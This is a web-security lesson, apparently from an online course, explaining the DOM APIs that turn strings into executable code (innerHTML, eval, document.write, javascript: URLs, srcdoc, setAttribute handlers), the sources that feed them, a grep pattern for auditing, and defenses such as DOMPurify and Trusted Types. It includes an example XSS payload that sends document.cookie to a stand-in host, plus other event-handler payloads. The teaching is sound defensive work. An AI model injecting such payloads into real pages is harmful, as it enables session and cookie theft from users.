Skip to content

Lesson 1 of 14 · 14m

The Sinks That Execute

innerHTML, document.write, eval, javascript: URLs, srcdoc, and setAttribute handlers — every API that turns a string into live code, and the grep list for auditing them.

How a string becomes code

When you write el.innerHTML = userInput, the browser does not store text. It runs the same HTML parser that built your page from the server's response over that string, and inserts the resulting nodes into the live document. The string stops being data the moment the parser sees it.

That is the entire mechanism of DOM XSS: a string the attacker controlled reached an API that parses. There is no sandbox between the parser and your page. If the input was <img src=x onerror="fetch('https://evil.example/c?c='+document.cookie)">, a real HTMLImageElement with a real error handler lands in your document, the load fails, and the handler executes with your origin's full privileges — cookies, localStorage, fetch as the user.

The sink list

The APIs that turn strings into code or live markup:

  • innerHTML, outerHTML, insertAdjacentHTML. Parse HTML and insert nodes. Here is the part juniors get wrong: a <script> tag inserted through innerHTML does not execute — the HTML spec marks parser-inserted scripts as "already started" so they never run. People test <script>alert(1)</script>, watch nothing happen, and conclude the sink is safe. But every event-handler attribute fires: onerror, onload, onclick, <svg onload>, <input autofocus onfocus=...>, <details open ontoggle=...>. "There are no script tags" proves nothing.
  • document.write() / document.writeln(). Parses straight into the document stream, and <script> does execute. Mostly dead in new code, alive in ad tags and legacy widgets.
  • eval(), new Function(), setTimeout("code"), setInterval("code"). Direct string-to-JS. The setTimeout variants are the ones that survive code review because nobody remembers they take strings.
  • Creating <script> and appending it. const s = document.createElement('script'); s.src = userUrl; document.head.append(s) fetches and runs remote code as your origin. Same risk for script.text = userString on a parser-created script that gets inserted.
  • location, href, and action. location.href = "javascript:alert(1)" executes. So does <a href="javascript:..."> when clicked, and a <form action="javascript:..."> on submit. HTML-escaping the URL does not help — javascript: contains no escapable characters. The defense is a scheme allowlist, not escaping.
  • <iframe srcdoc>. Parses a whole document into the frame.
  • Range.createContextualFragment(), DOMParser.parseFromString(). Parse without executing — but the result is DOM, and DOM is usually inserted one line later. jQuery's $.parseHTML/$(html) are worse: jQuery walks the parsed fragment and runs any <script> it finds through globalEval. Scripts inside $(userString) do execute, unlike innerHTML.
  • Attribute assignment. el.setAttribute('onclick', userString) mints a live event handler — the string is compiled into a function the next time the element is clicked. No <script> tag anywhere.
  • Template hatches. Vue v-html, React dangerouslySetInnerHTML, Handlebars {{{triple-brace}}} — covered in lesson 3.

Sources: the other half of the wire

A sink is harmless until a source reaches it. The sources are location.hash, location.search, document.referrer, postMessage events, localStorage, window.name, and anything your API returns that wasn't encoded for HTML. XSS is plumbing: a wire from a source to a sink.

The wrong mental model is "XSS means someone typed <script>alert(1)</script> into a search box." That is the demo version. The shipping version is el.innerHTML = profile.bio, or a router that reads location.search into a toast component. In every real audit the sink list above is what you grep for:

rg -n "innerHTML|outerHTML|insertAdjacentHTML|document\.write|eval\(|new Function|srcdoc|createContextualFragment|javascript:" src/

What to actually do

For text, use textContent — it never parses. For markup, there is exactly one sane answer: sanitize with DOMPurify and put the result behind a Trusted Types policy so a plain string can never reach the sink again (lesson 6). If a function's argument ends up inside an HTML parse, that function is a trust boundary. Name it, wrap it, sanitize before it.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.